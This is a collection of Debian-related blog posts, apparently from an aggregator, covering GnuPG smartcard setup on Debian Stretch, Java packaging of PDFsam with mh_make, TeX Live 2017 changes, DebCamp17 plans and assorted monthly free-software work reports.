Signing keys rotation I also started the process of moving my main OpenPGP certification key by adding a signing subkey. The subkey is stored in a cryptographic token so I can sign things on more than one machine without storing that critical key on all those devices physically. Unfortunately, this meant that I need to do some shenanigans when I want to sign content in my Debian work, because the new subkey takes time to propagate to the Debian archive. For example, I have to specify the primary key with a "bang" when signing packages (debsign -k '792152527B75921E!' ...) or use inline signatures in email sent for security announcement (since that trick doesn't work in Mutt or Notmuch). I tried to figure out how to better coordinate this next time by reading up documentation on keyring.debian.org, but there is no fixed date for key changes on the rsync interface. There are "monthly changes" so one's best bet is to look for the last change in their git repository.

GitLab.com and LFS migration I finally turned off my src.anarc.at git repository service by moving the remaining repos to GitLab. Unfortunately, GitLab removed support for git-annex recently, so I had to migrate my repositories to Git-LFS, which was an interesting experience. LFS is pretty easy to use, definitely simpler than git-annex. It also seems to be a good match for the use-case at hand, which is to store large files (videos, namely) as part of slides for presentations. It turns out that their migration guide could have been made much simpler. I tried to submit those changes to the documentation but couldn't fork the GitLab EE project to make a patch, so I just documented the issue in the original MR for now. While I was there I filed a feature request to add a new reference shortcut (GL-NNN) after noticing a similar token used on GitHub. This would be a useful addition because I often have numbering conflicts between Debian BTS bug numbers and GitLab issues in packages I maintain there. In particular, I have problems using GitLab issue numbers in Monkeysign, because commit logs end up in Debian changelogs and will be detected by the Debian infrastructure even though those are GitLab bug numbers. Using such a shortcut would avoid detection and such a conflict.

Numpy-stats I wrote a small tool to extract numeric statistics from a given file. I often do ad-hoc benchmarks where I store a bunch of numbers in a file and then try to make averages and so on. As an exercise in learning NumPy, I figured I would write such a simple tool, called numpy-stats, which probably sounds naive to seasoned Python scientists. My incentive was that I was trying to figure out what was the distribution of password length in a given password generator scheme. So I wrote this simple script:

for i in seq 10000 ; do
    shuf -n4 /usr/share/dict/words   tr -d '\n'
done > length

And then feed that data in the tool:

$ numpy-stats lengths 
 
  "max": 60, 
  "mean": 33.883293722913464, 
  "median": 34.0, 
  "min": 14, 
  "size": 143060, 
  "std": 5.101490225062775
 

I am surprised that there isn't such a tool already: hopefully I am wrong and will just be pointed towards the better alternative in the comments here!

Safe Eyes I added screensaver support to the new SafeEyes project, which I am considering as a replacement to the workrave project I have been using for years. I really like how the interruptions basically block the whole screen: way more effective than only blocking the keyboard, because all potential distractions go away. One feature that is missing is keystrokes and mouse movement counting and of course an official Debian package, although the latter would be easy to fix because upstream already has an unofficial build. I am thinking of writing my own little tool to count keystrokes, since the overlap between SafeEyes and such a counter isn't absolutely necessary. This is something that workrave does, but there are "idle time" extensions in Xorg that do not need to count keystrokes. There are already certain tools to count input events, but none seem to do what I want (most of them are basically keyloggers). It would be an interesting test to see if it's possible to write something that would work both for Xorg and Wayland at the same time. Unfortunately, preliminary research show that:

1. in Xorg, the only way to implement this is to sniff all events, ie. to implement a keylogger
2. in Wayland, this is completely unsupported. it seems some compositors could implement such a counter, but then it means that this is compositor specific, or, in other words, unportable

So there is little hope here, which brings to my mind "painmeter" as an appropriate name for this future programming nightmare.

Ansible I sent my first contribution to the ansible project with a small documentation fix. I had an eye opener recently when I discovered a GitLab ansible prototype that would manipulate GitLab settings. When I first discovered Ansible, I was frustrated by the YAML/Jinja DSL: it felt silly to write all this code in YAML when you are a Python developer. It was great to see reasonably well-written Python code that would do things and delegate the metadata storage (and only that!) to YAML, as opposed to using YAML as a DSL. So I figured I would look at the Ansible documentation on how this works, but unfortunately, the Ansible documentation is severly lacking in this area. There are broken links (I only fixed one page) and missing pieces. For example, the developing plugins page doesn't explain how to program a plugin at all. I was told on IRC that: "documentation around developing plugins is sparse in general. the code is the best documentation that exists (right now)". I didn't get a reply when asking which code in particular could provide good examples either. In comparison, Puppet has excellent documentation on how to create custom types, functions and facts. That is definitely a turn-off for a new contributor, but at least my pull request was merged in and I can only hope that seasoned Ansible contributors expand on this critical piece of documentation eventually.

Misc As you can see, I'm all over the place, as usual. GitHub tells me I "Opened 13 other pull requests in 11 repositories" (emphasis mine), which I guess means on top of the "9 commits in 5 repositories" mentioned earlier. My profile probably tells a more detailed story that what would be useful to mention here. I should also mention how difficult it is to write those reports: I basically do a combination of looking into my GitHub and GitLab profiles, the last 30 days of emails and filesystem changes (!!). En vrac, a list of changes which may be of interest:

• font-large (and its alias, font-small): shortcut to send the right escape sequence to rxvt so it changes its font
• fix-acer: short script to hardcode the modeline (you remember those?!) for my screen which has a broken EDID pin (so autodetection fails, yay Xorg log files...)
• ikiwiki-pandoc-quickie: fake ikiwiki renderer that (ab)uses pandoc to generate a HTML file with the right stylesheet to preview Markdown as it may look in this blog (the basic template is missing still)
• git-annex-transfer: a command I've often been missing in git-annex, which is a way to transfer files between remotes without having to copy them locally (upstream feature request)
• I linked the graphics of the Debian archive software architecture in the Debian wiki in the hope more people notice it.
• I did some tweaks on my Taffybar to introduce a battery meter and hoping to have temperature sensors, which mostly failed. there's a pending pull request that may bring some sense into this, hopefully.
• I made two small patches in Monkeysign to fix gpg.conf handling and multiple email output, a dumb bug I cannot believe anyone noticed or reported just yet. Thanks Valerie for the bug report! The upload of this in Debian is pending a review from the release team.

In the coming weeks and months I intend to write a mini series about packaging Java software for Debian. The following article basically starts in the middle of this journey because the PDFsam upgrade is still fresh in my mind. It requires some preexisting knowledge about build tools like Maven and some Java terminology. But do not fear. Hopefully it will make sense in the end when all pieces fall into place. A month ago I decided to upgrade PDFsam, a Java application to split, merge, extract, mix and rotate PDF documents. The current version 1.1.4 is already seven years old and uses Ant as its build system. Unfortunately up to now nobody was interested enough to invest the time to upgrade it to the latest version. A quick internet search unveils that the current sources can be found on github.com. Another brief look reveals we are dealing with a Maven project here because we can find a pom.xml file in the root directory and there is no sign of Ant s typical build.xml file anymore. Here are some general tips how to proceed from this point by using the PDFsam upgrade as an example. Find out how many new dependencies you really need The pom.xml file declares its dependencies in the <dependencies> section. It is good practice to inspect the pom.xml file and determine how much work will be required to upgrade the package. A seasoned Java packager will quickly find common dependencies like Hibernate or the Apache Commons libraries. Fortunately for you they are already packaged in Debian because a lot of projects depend on them. If you are unsure what is and what is not packaged for Debian, tracker.debian.org and codesearch.debian.net are useful tools to search for those packages. If in doubt just ask on debian-java@lists.debian.org. There is no automagical tool (yet) to find out what dependencies are really new (we talk about mh_make soon) but if you use the aforementioned tools and websites you will notice that in June 2017 one could not find the following artifacts: fontawesomefx, eventstudio, sejda-* and jackson-jr-objects. There are also jdepend and testFx but notice they are marked as <scope>test</scope> meaning they are only required if you would like to run upstream s test suite as well. For the sake of simplicity, it is best to ignore them for now and to focus on packaging only dependencies which are really needed to compile the application. Test dependencies can always be added later. This pom.xml investigation leads us to the following conclusion: PDFsam depends on Sejda, a PDF library. Basically Sejda is the product of a major refactoring that happened years ago and allows upstream to develop PDFsam faster and in multiple directions. For Debian packagers it is quite clear now that the upgrade of PDFsam is in reality more like packaging a completely new application. The inspection of Sejda s pom.xml file (another Maven project) reveals we also have to package imgscalr, Twelvemonkeys and SAMBox. We continue with these pom.xml analyses and end up with these new source packages: jackson-jr, libimgscalr-java, libsambox-java, libsejda-java, libsejda-injector-java, libsejda-io-java, libsejda-eventstudio-java, libtwelvemonkeys-java, fontawesomefx and libpdfbox2-java. Later I discovered that gettext-maven-plugin was also required. This was not obvious at first glance if you only check the pom.xml in the root directory but PDFsam and Sejda are multi-module projects! In this case every subdirectory (module) contains another pom.xml with additional information, so ideally you should check those too before you decide to start with your packaging. But don t worry it is often possible to ignore modules with a simple ignore rule inside your debian/*.poms file. The package will have less functionality but it can be still useful if you only need a subset of the modules. Of course in this case ignoring the gettext-maven-plugin artifact would result in a runtime error. C est la vie. A brief remark about Java package names: Java library packages must be named like libXXX-java. This is important for binary packages to avoid naming collisions. We are more tolerant when it comes to source package names but in general we recommend to use the exact same name as for the binary package. There are exceptions like prefixing source packages with their well known project name like jackson-XXX or jboss-XXX but this should only be used when there are already existing packages that use such a naming scheme. If in doubt, talk to us. mh_make or how to quickly generate an initial debian directory Packaging a Maven library is usually not very difficult even if it consists of multiple modules. The tricky part is to get the maven.rules, maven.IgnoreRules and your *.poms file right but debian/rules often only consists of a single dh line and the rest is finding the build-dependencies and adding them to debian/control. A small tool called mh_make, which is included in maven-debian-helper, can lend you a helping hand. The tool is not perfect yet. It requires that most build-dependencies are already installed on your local system, otherwise it won t create the initial debian directory and will only produce some unfinished (but in some cases still useful) files. A rule of thumb is to start with a package that does not depend on any other new dependency and requires the fewest build-dependencies. I have chosen libtwelvemonkeys-java because it was the simplest package and met the aforementioned criteria. Here is how mh_make looks like in action. (The animated GIF was created with Byzanz) First of all download the release tarball, unpack it and run mh_make inside the root directory. Ok, what is happening here? First you can choose a source and binary package name. Then disable the tests and don t run javadoc to create the documentation. This will simplify things a little. Tests and javadoc settings can be added later. Choose the version you want to package and then you can basically follow the default recommendations and confirm them by hitting the Enter key. Throughout the project we choose to transform the upstream version with the symbolic debian version. Remember that Java/Maven is version-centric. This will ensure that our Maven dependencies are always satisfied later and we can simply upgrade our Maven libraries and don t have to change the versions by hand in various pom.xml files; maven-debian-helper will automatically transform them for us to debian . Enable all modules. If you choose not to, you can select each module individually. Note that later on some of the required build-dependencies cannot be found because they are either not installed (libjmagick6-java) or they cannot be found in Debian s Maven repository under /usr/share/maven-repo. You can fix this by entering a substitution rule or, as I did in this case, you can just ignore these artifacts for now. They will be added to maven.IgnoreRules. In order to successfully compile your program you have to remove them from this file later again, create the correct substitution rule in maven.rules and add the missing build-dependencies to debian/control. For now we just want to quickly create our initial debian directory. If everything went as planned a complete debian directory should be visible in your root directory. The only thing left is to fix the substitution rule for the Servlet API 3.1. Add libservlet3.1-java to Build-Depends and the following rule to maven.rules: javax.servlet s/servlet-api/javax.servlet-api/ * s/.*/3.1/ * *
s/javax.servlet/javax.servlet.jsp/ s/jsp-api/javax.servlet.jsp-api/ * s/.*/2.3/ * * The maven.rules file consists of multiple rows separated by six columns. The values represent groupId, artifactId, type, version number and two fields which I never use. You can just use an asterisk to match any value. Every value can be substituted. This is necessary when the value of upstream s pom.xml file differs from Debian s system packages. This happens frequently for API packages which are uploaded to Maven Central multiple times under a different groupId/artifactId but provide the same features. In this case the Twelvemonkeys pom requires an older API version but Debian is already at version 3.1. Note that we require a strict version number in this case because libservlet3.1-java does not use a symbolic debian version since we provide more than one Servlet API in the archive and this measure prevents conflicts. Thanks for reading this far. More articles about Java packaging will follow in the near future and hopefully they will clarify some terms and topics which could only be briefly mentioned in this post.

before

and after

In a few days, I ll be attending DebCamp17 in Montr al, Canada. Here are a few things I plan to pay attention to:

• Calamares: My main goal is to get Calamares in a great state for inclusion in the archives, along with sane default configuration for Debian (calamares-settings-debian) that can easily be adapted for derivatives. Calamares itself is already looking good and might make it into the archives before DebCamp even starts, but the settings package will still need some work.
• Gnome Shell Extensions: During the stretch development cycle I made great progress in packaging some of the most popular shell extensions, but there are a few more that I d like to get in for buster: apt-update-indicator, dash-to-panel (done), proxy-switcher, tilix-dropdown, tilix-shortcut
• zram-tools: Fix a few remaining issues in zram-tools and get it packaged into the archive.
• DebConf Committee: Since January, I ve been a delegate on the DebConf committee, I m hoping that we get some time to catch up in person before DebConf starts. We ve been working on some issues together recently and so far we ve been working together really well. We re working on keeping DebConf organisation stable and improving community processes, and I hope that by the end of DebConf we ll have some proposals that will prevent some re-occurring problems and also help mend old wounds from previous years.
• ISO Image Writer: I plan to try out Jonathan Riddell s iso image writer tool and check whether it works with the use cases I m interested in (Debian install and live media, images created with Calamares, boots UEFI/BIOS on optical and usb media). If it does what I want I ll probably package it too if Jonathan Riddell didn t get to it yet.
• Hashcheck: Kyle Robertze wrote a tool called Hashcheck for checking install media checksums from a live environment. If he gets a break during DebCamp from video team stuff, I m hoping we can look at some improvements for it and also getting it packaged in Debian.

I installed Debian 9.0 Stretch on my Lenovo X201 laptop today. Installation went smooth, as usual. GnuPG/SSH with an OpenPGP smartcard I use a YubiKey NEO does not work out of the box with GNOME though. I wrote about how to fix OpenPGP smartcards under GNOME with Debian 8.0 Jessie earlier, and I thought I d do a similar blog post for Debian 9.0 Stretch . The situation is slightly different than before (e.g., GnuPG works better but SSH doesn t) so there is some progress. May I hope that Debian 10.0 Buster gets this right? Pointers to which package in Debian should have a bug report tracking this issue is welcome (or a pointer to an existing bug report). After first login, I attempt to use gpg --card-status to check if GnuPG can talk to the smartcard.

jas@latte:~$ gpg --card-status
gpg: error getting version from 'scdaemon': No SmartCard daemon
gpg: OpenPGP card not available: No SmartCard daemon
jas@latte:~$ 

This fails because scdaemon is not installed. Isn t a smartcard common enough so that this should be installed by default on a GNOME Desktop Debian installation? Anyway, install it as follows.

root@latte:~# apt-get install scdaemon

Then try again.

jas@latte:~$ gpg --card-status
gpg: selecting openpgp failed: No such device
gpg: OpenPGP card not available: No such device
jas@latte:~$ 

I believe scdaemon here attempts to use its internal CCID implementation, and I do not know why it does not work. At this point I often recall that want pcscd installed since I work with smartcards in general.

root@latte:~# apt-get install pcscd

Now gpg --card-status works!

jas@latte:~$ gpg --card-status
Reader ...........: Yubico Yubikey NEO CCID 00 00
Application ID ...: D2760001240102000006017403230000
Version ..........: 2.0
Manufacturer .....: Yubico
Serial number ....: 01740323
Name of cardholder: Simon Josefsson
Language prefs ...: sv
Sex ..............: male
URL of public key : https://josefsson.org/54265e8c.txt
Login data .......: jas
Signature PIN ....: not forced
Key attributes ...: rsa2048 rsa2048 rsa2048
Max. PIN lengths .: 127 127 127
PIN retry counter : 3 3 3
Signature counter : 8358
Signature key ....: 9941 5CE1 905D 0E55 A9F8  8026 860B 7FBB 32F8 119D
      created ....: 2014-06-22 19:19:04
Encryption key....: DC9F 9B7D 8831 692A A852  D95B 9535 162A 78EC D86B
      created ....: 2014-06-22 19:19:20
Authentication key: 2E08 856F 4B22 2148 A40A  3E45 AF66 08D7 36BA 8F9B
      created ....: 2014-06-22 19:19:41
General key info..: sub  rsa2048/860B7FBB32F8119D 2014-06-22 Simon Josefsson 
sec#  rsa3744/0664A76954265E8C  created: 2014-06-22  expires: 2017-09-04
ssb>  rsa2048/860B7FBB32F8119D  created: 2014-06-22  expires: 2017-09-04
                                card-no: 0006 01740323
ssb>  rsa2048/9535162A78ECD86B  created: 2014-06-22  expires: 2017-09-04
                                card-no: 0006 01740323
ssb>  rsa2048/AF6608D736BA8F9B  created: 2014-06-22  expires: 2017-09-04
                                card-no: 0006 01740323
jas@latte:~$ 

Using the key will not work though.

jas@latte:~$ echo foo gpg -a --sign
gpg: no default secret key: No secret key
gpg: signing failed: No secret key
jas@latte:~$ 

This is because the public key and the secret key stub are not available.

jas@latte:~$ gpg --list-keys
jas@latte:~$ gpg --list-secret-keys
jas@latte:~$ 

You need to import the key for this to work. I have some vague memory that gpg --card-status was supposed to do this, but I may be wrong.

jas@latte:~$ gpg --recv-keys 9AA9BDB11BB1B99A21285A330664A76954265E8C
gpg: failed to start the dirmngr '/usr/bin/dirmngr': No such file or directory
gpg: connecting dirmngr at '/run/user/1000/gnupg/S.dirmngr' failed: No such file or directory
gpg: keyserver receive failed: No dirmngr
jas@latte:~$ 

Surprisingly, dirmngr is also not shipped by default so it has to be installed manually.

root@latte:~# apt-get install dirmngr

Below I proceed to trust the clouds to find my key.

jas@latte:~$ gpg --recv-keys 9AA9BDB11BB1B99A21285A330664A76954265E8C
gpg: key 0664A76954265E8C: public key "Simon Josefsson " imported
gpg: no ultimately trusted keys found
gpg: Total number processed: 1
gpg:               imported: 1
jas@latte:~$ 

Now the public key and the secret key stub are available locally.

jas@latte:~$ gpg --list-keys
/home/jas/.gnupg/pubring.kbx
----------------------------
pub   rsa3744 2014-06-22 [SC] [expires: 2017-09-04]
      9AA9BDB11BB1B99A21285A330664A76954265E8C
uid           [ unknown] Simon Josefsson 
uid           [ unknown] Simon Josefsson 
sub   rsa2048 2014-06-22 [S] [expires: 2017-09-04]
sub   rsa2048 2014-06-22 [E] [expires: 2017-09-04]
sub   rsa2048 2014-06-22 [A] [expires: 2017-09-04]
jas@latte:~$ gpg --list-secret-keys
/home/jas/.gnupg/pubring.kbx
----------------------------
sec#  rsa3744 2014-06-22 [SC] [expires: 2017-09-04]
      9AA9BDB11BB1B99A21285A330664A76954265E8C
uid           [ unknown] Simon Josefsson 
uid           [ unknown] Simon Josefsson 
ssb>  rsa2048 2014-06-22 [S] [expires: 2017-09-04]
ssb>  rsa2048 2014-06-22 [E] [expires: 2017-09-04]
ssb>  rsa2048 2014-06-22 [A] [expires: 2017-09-04]
jas@latte:~$ 

I am now able to sign data with the smartcard, yay!

jas@latte:~$ echo foo gpg -a --sign
-----BEGIN PGP MESSAGE-----
owGbwMvMwMHYxl2/2+iH4FzG01xJDJFu3+XT8vO5OhmNWRgYORhkxRRZZjrGPJwQ
yxe68keDGkwxKxNIJQMXpwBMRJGd/a98NMPJQt6jaoyO9yUVlmS7s7qm+Kjwr53G
uq9wQ+z+/kOdk9w4Q39+SMvc+mEV72kuH9WaW9bVqj80jN77hUbfTn5mffu2/aVL
h/IneTfaOQaukHij/P8A0//Phg/maWbONUjjySrl+a3tP8ll6/oeCd8g/aeTlH79
i0naanjW4bjv9wnvGuN+LPHLmhUc2zvZdyK3xttN/roHvsdX3f53yTAxeInvXZmd
x7W0/hVPX33Y4nT877T/ak4L057IBSavaPVcf4yhglVI8XuGgaTP666Wuslbliy4
5W5eLasbd33Xd/W0hTINznuz0kJ4r1bLHZW9fvjLduMPq5rS2co9tvW8nX9rhZ/D
zycu/QA=
=I8rt
-----END PGP MESSAGE-----
jas@latte:~$ 

Encrypting to myself will not work smoothly though.

jas@latte:~$ echo foo gpg -a --encrypt -r simon@josefsson.org
gpg: 9535162A78ECD86B: There is no assurance this key belongs to the named user
sub  rsa2048/9535162A78ECD86B 2014-06-22 Simon Josefsson 
 Primary key fingerprint: 9AA9 BDB1 1BB1 B99A 2128  5A33 0664 A769 5426 5E8C
      Subkey fingerprint: DC9F 9B7D 8831 692A A852  D95B 9535 162A 78EC D86B
It is NOT certain that the key belongs to the person named
in the user ID.  If you *really* know what you are doing,
you may answer the next question with yes.
Use this key anyway? (y/N) 
gpg: signal Interrupt caught ... exiting
jas@latte:~$ 

The reason is that the newly imported key has unknown trust settings. I update the trust settings on my key to fix this, and encrypting now works without a prompt.

jas@latte:~$ gpg --edit-key 9AA9BDB11BB1B99A21285A330664A76954265E8C
gpg (GnuPG) 2.1.18; Copyright (C) 2017 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Secret key is available.
pub  rsa3744/0664A76954265E8C
     created: 2014-06-22  expires: 2017-09-04  usage: SC  
     trust: unknown       validity: unknown
ssb  rsa2048/860B7FBB32F8119D
     created: 2014-06-22  expires: 2017-09-04  usage: S   
     card-no: 0006 01740323
ssb  rsa2048/9535162A78ECD86B
     created: 2014-06-22  expires: 2017-09-04  usage: E   
     card-no: 0006 01740323
ssb  rsa2048/AF6608D736BA8F9B
     created: 2014-06-22  expires: 2017-09-04  usage: A   
     card-no: 0006 01740323
[ unknown] (1). Simon Josefsson 
[ unknown] (2)  Simon Josefsson 
gpg> trust
pub  rsa3744/0664A76954265E8C
     created: 2014-06-22  expires: 2017-09-04  usage: SC  
     trust: unknown       validity: unknown
ssb  rsa2048/860B7FBB32F8119D
     created: 2014-06-22  expires: 2017-09-04  usage: S   
     card-no: 0006 01740323
ssb  rsa2048/9535162A78ECD86B
     created: 2014-06-22  expires: 2017-09-04  usage: E   
     card-no: 0006 01740323
ssb  rsa2048/AF6608D736BA8F9B
     created: 2014-06-22  expires: 2017-09-04  usage: A   
     card-no: 0006 01740323
[ unknown] (1). Simon Josefsson 
[ unknown] (2)  Simon Josefsson 
Please decide how far you trust this user to correctly verify other users' keys
(by looking at passports, checking fingerprints from different sources, etc.)
  1 = I don't know or won't say
  2 = I do NOT trust
  3 = I trust marginally
  4 = I trust fully
  5 = I trust ultimately
  m = back to the main menu
Your decision? 5
Do you really want to set this key to ultimate trust? (y/N) y
pub  rsa3744/0664A76954265E8C
     created: 2014-06-22  expires: 2017-09-04  usage: SC  
     trust: ultimate      validity: unknown
ssb  rsa2048/860B7FBB32F8119D
     created: 2014-06-22  expires: 2017-09-04  usage: S   
     card-no: 0006 01740323
ssb  rsa2048/9535162A78ECD86B
     created: 2014-06-22  expires: 2017-09-04  usage: E   
     card-no: 0006 01740323
ssb  rsa2048/AF6608D736BA8F9B
     created: 2014-06-22  expires: 2017-09-04  usage: A   
     card-no: 0006 01740323
[ unknown] (1). Simon Josefsson 
[ unknown] (2)  Simon Josefsson 
Please note that the shown key validity is not necessarily correct
unless you restart the program.
gpg> quit
jas@latte:~$ echo foo gpg -a --encrypt -r simon@josefsson.org
-----BEGIN PGP MESSAGE-----
hQEMA5U1Fip47NhrAQgArTvAykj/YRhWVuXb6nzeEigtlvKFSmGHmbNkJgF5+r1/
/hWENR72wsb1L0ROaLIjM3iIwNmyBURMiG+xV8ZE03VNbJdORW+S0fO6Ck4FaIj8
iL2/CXyp1obq1xCeYjdPf2nrz/P2Evu69s1K2/0i9y2KOK+0+u9fEGdAge8Gup6y
PWFDFkNj2YiVa383BqJ+kV51tfquw+T4y5MfVWBoHlhm46GgwjIxXiI+uBa655IM
EgwrONcZTbAWSV4/ShhR9ug9AzGIJgpu9x8k2i+yKcBsgAh/+d8v7joUaPRZlGIr
kim217hpA3/VLIFxTTkkm/BO1KWBlblxvVaL3RZDDNI5AVp0SASswqBqT3W5ew+K
nKdQ6UTMhEFe8xddsLjkI9+AzHfiuDCDxnxNgI1haI6obp9eeouGXUKG
=s6kt
-----END PGP MESSAGE-----
jas@latte:~$ 

So everything is fine, isn t it? Alas, not quite.

jas@latte:~$ ssh-add -L
The agent has no identities.
jas@latte:~$ 

Tracking this down, I now realize that GNOME s keyring is used for SSH but GnuPG s gpg-agent is used for GnuPG. GnuPG uses the environment variable GPG_AGENT_INFO to connect to an agent, and SSH uses the SSH_AUTH_SOCK environment variable to find its agent. The filenames used below leak the knowledge that gpg-agent is used for GnuPG but GNOME keyring is used for SSH.

jas@latte:~$ echo $GPG_AGENT_INFO 
/run/user/1000/gnupg/S.gpg-agent:0:1
jas@latte:~$ echo $SSH_AUTH_SOCK 
/run/user/1000/keyring/ssh
jas@latte:~$ 

Here the same recipe as in my previous blog post works. This time GNOME keyring only has to be disabled for SSH. Disabling GNOME keyring is not sufficient, you also need gpg-agent to start with enable-ssh-support. The simplest way to achieve that is to add a line in ~/.gnupg/gpg-agent.conf as follows. When you login, the script /etc/X11/Xsession.d/90gpg-agent will set the environment variables GPG_AGENT_INFO and SSH_AUTH_SOCK. The latter variable is only set if enable-ssh-support is mentioned in the gpg-agent configuration.

jas@latte:~$ mkdir ~/.config/autostart
jas@latte:~$ cp /etc/xdg/autostart/gnome-keyring-ssh.desktop ~/.config/autostart/
jas@latte:~$ echo 'Hidden=true' >> ~/.config/autostart/gnome-keyring-ssh.desktop 
jas@latte:~$ echo enable-ssh-support >> ~/.gnupg/gpg-agent.conf 
jas@latte:~$ 

Log out from GNOME and log in again. Now you should see ssh-add -L working.

jas@latte:~$ ssh-add -L
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFP+UOTZJ+OXydpmbKmdGOVoJJz8se7lMs139T+TNLryk3EEWF+GqbB4VgzxzrGjwAMSjeQkAMb7Sbn+VpbJf1JDPFBHoYJQmg6CX4kFRaGZT6DHbYjgia59WkdkEYTtB7KPkbFWleo/RZT2u3f8eTedrP7dhSX0azN0lDuu/wBrwedzSV+AiPr10rQaCTp1V8sKbhz5ryOXHQW0Gcps6JraRzMW+ooKFX3lPq0pZa7qL9F6sE4sDFvtOdbRJoZS1b88aZrENGx8KSrcMzARq9UBn1plsEG4/3BRv/BgHHaF+d97by52R0VVyIXpLlkdp1Uk4D9cQptgaH4UAyI1vr cardno:000601740323
jas@latte:~$ 

Topics for further discussion or research include 1) whether scdaemon, dirmngr and/or pcscd should be pre-installed on Debian desktop systems; 2) whether gpg --card-status should attempt to import the public key and secret key stub automatically; 3) why GNOME keyring is used by default for SSH rather than gpg-agent; 4) whether GNOME keyring should support smartcards, or if it is better to always use gpg-agent for GnuPG/SSH, 5) if something could/should be done to automatically infer the trust setting for a secret key. Enjoy!

TeX Live 2017 has been released! CTAN mirrors are busy updating. Get out bottles of good wine, and enjoy a good long download
Besides the huge amount of package updates due to the 2 month testing hiatus, I want to pick a few changes before copying the complete changelog entry: Additional TEXMF trees tlmgr got a new functionality to easily add and remove additional TEXMF trees to the search path. MikTeX had this features since long, and it was often requested. As it turned out, it is a rather trivial thing to achieve by some texmf.cnf lines. The rest is just front end in tlmgr. Here a few invocations (not very intelligent usage, though):

$ tlmgr conf auxtrees show
tlmgr: no auxiliary texmf trees defined.
$ tlmgr conf auxtrees add /projects/book-abc
$ tlmgr conf auxtrees
List of auxiliary texmf trees:
  /projects/book-abc
$ tlmgr conf auxtrees remove /projects/book-abc
$ tlmgr conf auxtrees show
tlmgr: no auxiliary texmf trees defined.

TeX Live Manager interactive shell tlmgr also got an interactive shell now, that can also be used for scripting. Available commands are all the usual command line actions, plus a few more (see documentation). Again, here a simple session:

$ tlmgr shell
protocol 1
tlmgr> load local
OK
tlmgr> load remote
tlmgr: package repositories
	main = /home/norbert/public_html/tlnet (verified)
	koma = http://www.komascript.de/repository/texlive/2017 (verified)
OK
tlmgr> update --list
tlmgr: package repositories
	main = /home/norbert/public_html/tlnet (verified)
	koma = http://www.komascript.de/repository/texlive/2017 (verified)
tlmgr: saving backups to /home/norbert/tl/2017/tlpkg/backups
tlmgr: no updates available
OK
tlmgr> byebye
$

User versus System mode for updmap and fmtutil I have reported on this during BachoTeX/TUG 2017, here are the slides, that the two central configuration programs updmap and fmtutil will change their operation mode slightly by disallowing invocations without mde specification. That is, one either needs to call updmap -sys (or updmap-sys, nothing changed here from previous years) or updmap -user (or updmap-user, new in TeX Live 2017). We hope by this and the accompanying web page of recommendations to help users not to shoot themselves to often by calling updmap without knowing the consequences. The upcoming proceedings of the BachoTeX will also comtain an article fully documenting both updmap and fmtutil including the most recent changes.

---

These were only a few changes where I had my fingers in the development. For the full list, read on below. Now get ready for partying, and also for the end of the peace, because daily package updates will restart in the next days. Enjoy Changes since TeX Live 2016 The following list of changes is directly from the TeX Live documentation.

• LuaTEX: More callbacks, more typesetting control, more access to internals; ffi library for dynamic code loading added on some platforms.
• pdfTEX: Environment variable SOURCE_DATE_EPOCH_TEX_PRIMITIVES from last year renamed to FORCE_SOURCE_DATE, with no changes in functionality; if the \pdfpageattr token list contains the string /MediaBox, omit output of the default /MediaBox.
• XeTEX: Unicode/OpenType math now based on HarfBuzz s MATH table support; some bug fixes.
• Dvips: Make the last papersize special win, for consistency with dvipdfmx and package expectations; the -L0 option (L0 config setting) restores the previous behavior of the first special winning.
• epTEX, eupTEX: New primitives \pdfuniformdeviate, \pdfnormaldeviate, \pdfrandomseed, \pdfsetrandomseed, \pdfelapsedtime, \pdfresettimer, from pdfTEX.
• MacTEX: As of this year, only Mac OS X releases for which Apple still releases security patches will be supported in MacTEX, under the platform name x86_64-darwin; currently this means Yosemite, El Capitan, and Sierra (10.10 and newer). Binaries for older Mac OS X versions are not included in MacTEX, but are still available in TEX Live (x86_64-darwinlegacy, i386-darwin, powerpc-darwin).
• Infrastructure: The TEXMFLOCAL tree is now searched before TEXMFSYSCONFIG and TEXMFSYSVAR (by default); the hope is that this will better match expectations of local files overriding system files. Also, tlmgr has a new mode shell for interactive and scripted use, and a new action conf auxtrees to easily add and remove extra trees.
• updmap and fmtutil: These scripts now give a warning when invoked without explicitly specifying either so-called system mode (updmap-sys, fmtutil-sys, or option -sys), or user mode (updmap-user, fmtutil-user, or option -user). The hope is that this will reduce the perennial problem of invoking user mode by accident and thus losing future system updates. See http://tug.org/texlive/scripts-sys-user.html and an upcoming TUGboat article for details.
• install-tl: Personal paths are now set to MacTEX values (~/Library/...) by default on Macs. New option -init-from-profile to start an installation with the values from a given profile; new command P to explicitly save a profile; new profile variable names (but previous ones are still accepted).
• SyncTEX: the temporary file name now looks like foo.synctex(busy), instead of foo.synctex.gz(busy) (no .gz). Front ends and build systems that want to remove temp files may need adjusting.
• Other utilities: texosquery-jre8 is a new cross-platform program for retrieving locale and other OS information from a TEX document; it is included in shell_escape_commands by default for restricted shell execution. (Older JRE versions are supported by texosquery, but cannot be enabled in restricted mode, as they are no longer supported by Oracle, even for security issues.)
• Platforms: See MacTEX entry above; no other changes.

I've been trying to refresh my Haskell skills and Paul Callaghan recommended I read the paper "A History of Haskell: Being Lazy With Class", which I found (surprisingly?) fascinating. Three facts about Haskell that I didn't know jumped out at me:

• The notion of Lazy Evaluation in a programming language was invented independently at least three times, but once here at Newcastle University by Peter Henderson (in collaboration with James H. Morris Jr of Xerox PARC). The paper was published as Technical Report 85 and the full text is available (albeit as an 11MB PDF of scanned pages).
• Despite Haskell's popularity as a platform for formal computing science, the language itself is does not have formally specified semantics (or at least didn't when this paper was written, ten years ago)
• When I was first exposed to Haskell, the worlds of functional programming and "real world" programming seemed far apart. (This perception was largely due to my own experiences, exposures and biases). In the time since, we've witnessed many FP concepts and ideas gain traction in that "real world", such as Lambda Expessions in Java 8. However, the reverse is also true, and Haskell's heirarchical module names are largely borrowed from Java's heirarchical package naming scheme.

Here is my monthly update covering what I have been doing in the free software world (previous month):

• I was elected Debian Project Leader for 2017. I'd like to sincerely thank everyone who voted for me as well as everyone who took part in the election in general especially Mehdi Dogguy for being a worthy opponent. The result was covered on LWN, Phoronix, DistroWatch, iTWire, etc.
• Added support for the Monzo banking API in social-core, a Python library to allow web applications to authenticate using third-parties. (#68)
• Fixed a HTML injection attack in a demo of Russell Keith-Magee's BeeWare presentation library. (#3)
